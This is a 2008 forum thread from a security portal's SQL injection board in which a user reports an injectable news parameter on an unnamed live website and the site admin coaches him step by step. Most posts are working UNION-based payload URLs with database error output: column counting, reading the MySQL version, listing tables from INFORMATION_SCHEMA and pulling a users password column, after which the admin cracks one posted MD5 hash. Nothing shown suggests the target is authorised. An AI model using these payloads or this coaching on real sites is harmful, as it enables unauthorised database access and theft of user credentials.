Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 5, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 553
Members: 0
Total: 553
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Some pb with injection
Post new topic  Reply to topic View previous topic :: View next topic 
Some pb with injection
PostPosted: Fri Feb 29, 2008 5:46 pm Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




Hi, i have found a bug on this site :

site.com/index.php?page=news&act=comment&id_news=-1+or

Code:


[Uncaught DbException] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10 (query: 'SELECT n.id, n.subject, n.date, n.num_comment, n.enable_multipage, n.multipage_master_id, n.disable_comment, nt.text, n.id_cat, n.display_news, n.display_cat_logo, u.username, g.prefix AS gr_prefix, g.suffix AS gr_suffix, c.large_icon FROM news n LEFT JOIN news_text nt ON nt.id = n.id LEFT JOIN c_users u ON u.id = n.id_poster LEFT JOIN c_groups g ON g.id = u.group LEFT JOIN news_cat c ON c.id = n.id_cat WHERE n.id = -1 or')
/home/site/public_html/framework/database/mysql/class_mysql_db.php at line 201

    Stack Trace
    #0 /home/site/public_html/modules/news/class_news_controler.php(373): mysql_db->query('SELECT n.id, n....') #1 /home/site/public_html/modules/news/class_news_controler.php(103): news_controler->news_with_comment() #2 /home/site/public_html/sources/class_portal_controler.php(112): news_controler->launch('') #3 /home/site/public_html/index.php(140): portal_controler::launch() #4 {main}



I have test a lot of things, but i dont know how to go forward, if someone could help me...
Thanks :p
View user's profile Send private message
PostPosted: Fri Feb 29, 2008 6:27 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




First you need to get syntax right:

Code:

site.com/index.php?page=news&act=comment&id_news=1--+


No errors?

Then find out right column count:

Code:

site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+


Error message? If so, then post error message here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Mar 01, 2008 12:40 am Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




site.com/index.php?page=news&act=comment&id_news=1-+

=> same error as first

------------------------------------------------------------------------------
site.com/index.php?page=news&act=comment&id_news=1--+

=> error handled by the webmaster (missing element)
------------------------------------------------------------------------------

site.com/index.php?page=news&act=comment&id_news=1---+

=> same error as first
------------------------------------------------------------------------------

site.com/index.php?page=news&act=comment&id_news=1---+

=> same error as first

------------------------------------------------------------------------------

site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Code:

[Uncaught DbException] The used SELECT statements have a different number of columns (query: 'SELECT n.id, n.subject, n.date, n.num_comment, n.enable_multipage, n.multipage_master_id, n.disable_comment, nt.text, n.id_cat, n.display_news, n.display_cat_logo, u.username, g.prefix AS gr_prefix, g.suffix AS gr_suffix, c.large_icon FROM news n LEFT JOIN news_text nt ON nt.id = n.id LEFT JOIN c_users u ON u.id = n.id_poster LEFT JOIN c_groups g ON g.id = u.group LEFT JOIN news_cat c ON c.id = n.id_cat WHERE n.id = -1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--')
/home/site/public_html/framework/database/mysql/class_mysql_db.php at line 201

    Stack Trace
    #0 /home/site/public_html/modules/news/class_news_controler.php(373): mysql_db->query('SELECT n.id, n....') #1 /home/site/public_html/modules/news/class_news_controler.php(103): news_controler->news_with_comment() #2 /home/site/public_html/sources/class_portal_controler.php(112): news_controler->launch('') #3 /home/site/public_html/index.php(140): portal_controler::launch() #4 {main}
View user's profile Send private message
PostPosted: Sat Mar 01, 2008 3:33 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Seems that column count differs from 19 ...

Try other values. If you get right column count then error message should change or dissapear.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 12:53 am Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




i tried site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

and the error disappear but i dont know what to do now :s
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 1:11 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




What you need next is visual feedback. If you can see column values in generated webpage (in place where normal text suppose to be) then you can go to next step.

Lets's suppose, that you see "11" as news title.
Then try something like this:

Code:

site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15--+


In case of success you should see mysql version. Post it here, the I can help you to move forward.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 1:21 am Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,@@version,13,14,15--+
the number 12 in the news changed to 5.0.45-community is it that?

site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,TABLE_NAME,13,14,15+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+15,1--+

i can see table name but i dont know how to gather their information, can you help me please?
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 1:39 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




By using information_schema you can fetch all field names from any table you have access to. What's the table name you are interested in?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 1:45 am Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




ok i ve guess how to gather information ^^
I have to test some column name... but can i fetch all information if i have get an ID of a column?
I found password column from users but it is crypted... Maybe you know how to crack it?
For exemple : 6871a2089768bc4364a712365a0e9a58 or 712d2a501f9cb8a82977209b87551bd0
thx :p


Last edited by Nial on Mon Mar 03, 2008 2:05 am; edited 1 time in total
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 2:04 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Nial wrote:
ok i ve guess how to gather information ^^
I have to test some column name... but can i fetch all information if i have get an ID of a column?
I found password column from users but it is crypted... Maybe you know how to crack it?
For exemple : 6871a2089768bc4364a712365a0e9a58
thx :p


Plaintext of 6871a2089768bc4364a712365a0e9a58 is 1233320

It's md5 hash, you can use any cracking program, for example Cain.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 2:24 am Reply with quote
Nial
Advanced user
Advanced user
 
Joined: Feb 29, 2008
Posts: 103




Thx a lot !!!
View user's profile Send private message
Some pb with injection
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.136 Seconds